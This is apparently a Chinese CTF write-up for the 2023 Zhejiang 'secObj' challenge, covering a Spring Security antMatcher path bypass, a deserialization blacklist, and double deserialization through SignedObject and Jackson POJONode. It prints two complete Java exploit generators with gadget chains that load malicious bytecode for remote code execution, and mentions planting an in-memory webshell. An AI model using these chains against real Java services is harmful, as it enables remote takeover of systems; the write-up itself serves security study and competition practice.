| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class buggyLoader { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static HashMap getObject() throws Exception{ byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{payloads}); setFieldValue(obj, "_name", "a"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "test"); lazyMap.remove(obj);
setFieldValue(lazyMap,"factory", transformer);
return expMap; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) return null; StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 0xF & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 0xF & bytes[i]; ret.append("0123456789abcdef".charAt(b)); } return ret.toString(); }
public static void main(String[] args) throws Exception { ByteArrayOutputStream tser = new ByteArrayOutputStream(); ObjectOutputStream toser = new ObjectOutputStream(tser); toser.writeObject(getObject()); toser.close();
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "test"); lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory", invokerTransformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeUTF("SJTU"); oos.writeInt(1896); oos.writeObject(expMap); oos.close(); System.out.println(bytesTohexString(baos.toByteArray())); } }
|
在序列化的时候加入他的属性即可成功RCE
2023浙江省赛 secObj
考点:
- Spring Security 权限绕过(设计缺陷)
- Java代码审计
-
给了jar,看目录结构如下
权限绕过
配置文件是端口,发现存在SecurityConfig先看这个
发现使用的antMatcher
的匹配方式并且后面并不是/**
直接随便绕过
因为在antMatcher
中 /admin/*
实际上只匹配一层资源,也就是只能匹配到admin.do
这样或者直接路由为/admin
这样
但是很神奇的事情发生了,admin
仅仅是根路由,并不是直接映射的(我感觉是出题人设计缺陷吧)
直接访问/admin/user/hello
即可
审计分析
其实有代码的就这个路由,传入一个data,使用自定义的反序列化写法进行反序列化
跟进下MyObjectInputStream
,一样是重写了resolveClass
禁用了这些关键字
1
| private static final String[] blackList = new String[]{"AbstractTranslet", "Templates", "TemplatesImpl", "javax.management", "swing", "awt", "fastjson"};
|
那么接下来就是来看怎么打反序列化了,存在以上黑名单而且发现只有一个jackson依赖可以利用,JDK自带的TemplatesImpl
也被过滤了,所以想到二次反序列化,那么问题就变成如何触发getter了
二次反序列化
上面也讲到存在jackson关键依赖,所以我们就可以用jackson中的POJONode
来调用getter方法来触发SignedObject的二次反序列化
但是这里遇到一个问题,二次打什么链呢?这里其实就是归结于如何调用getter的方法了,而这里的环境都是自带的jdk+spring,所以说多也不算多说少也不算少的方法,以下就写出方式的调用链(其实就是 1 2 3 排列组合为113 223 123这样子),就写出一种EXP
方法一
1
| HashMap#readObject() -> HashMap#putVal() -> HotSwappableTargetSource#equals() -> XString#equals() -> ToStringBean#toString() ->POJONode#toString() -> SignedObject#getObject() -> BadAttributeValueExpException#readObject() -> BaseJsonNode#toString() -> TemplatesImpl#getOutputProperties()
|
方法二
1
| BadAttributeValueExpException#readObject() -> ToStringBean#toString() ->POJONode#toString() -> SignedObject#getObject() -> BadAttributeValueExpException#readObject() -> BaseJsonNode#toString() -> TemplatesImpl#getOutputProperties()
|
方法三
1
| HashMap#readObject() -> HashMap#putVal() -> HotSwappableTargetSource#equals() -> XString#equals() -> ToStringBean#toString() ->POJONode#toString() -> SignedObject#getObject() -> HashMap#readObject() -> HashMap#putVal() -> HotSwappableTargetSource#equals() -> XString#equals() -> ToStringBean#toString() ->POJONode#toString() -> TemplatesImpl#getOutputProperties()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| import MenShell.SpringMemShell; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64; import java.util.HashMap;
public class SignedObjectBAVEPoC { public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class")); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{payloads}); setFieldValue(templatesImpl, "_name", "aaaa"); setFieldValue(templatesImpl, "_tfactory", null);
POJONode po1= new POJONode(makeTemplatesImplAopProxy(templatesImpl)); BadAttributeValueExpException ba1= new BadAttributeValueExpException(1); setFieldValue(ba1,"val",po1);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject( ba1, privateKey, signingEngine);
POJONode jsonNodes = new POJONode(1); setFieldValue(jsonNodes,"_value",signedObject); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1")); HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(hashMap); objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(res); }
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } }
|
坑点
这里打过去的时候发现竟然报了403,可是就算没鉴权也应该是401才对
其实这里返回403的原因实际上是Spring Security
默认会开启csrf验证,如果要手动关闭这个CSRF的校验需要写入以下代码
那么这里默认是开启的,所以我们需要去登录的接口处拿到我们的对应的Session+CSRFtoken才可以访问该路由
访问/login
得到结果为
1 2
| JSESSIONID=B2F26059AB6C4FF450F5CA7B8D1C9FDE; _csrf=f25909d7-6384-4a3f-869e-9831e7f4de99
|
然后带着Cookie+csrf就可以RCE了,接下来就是直接打内存马的事情了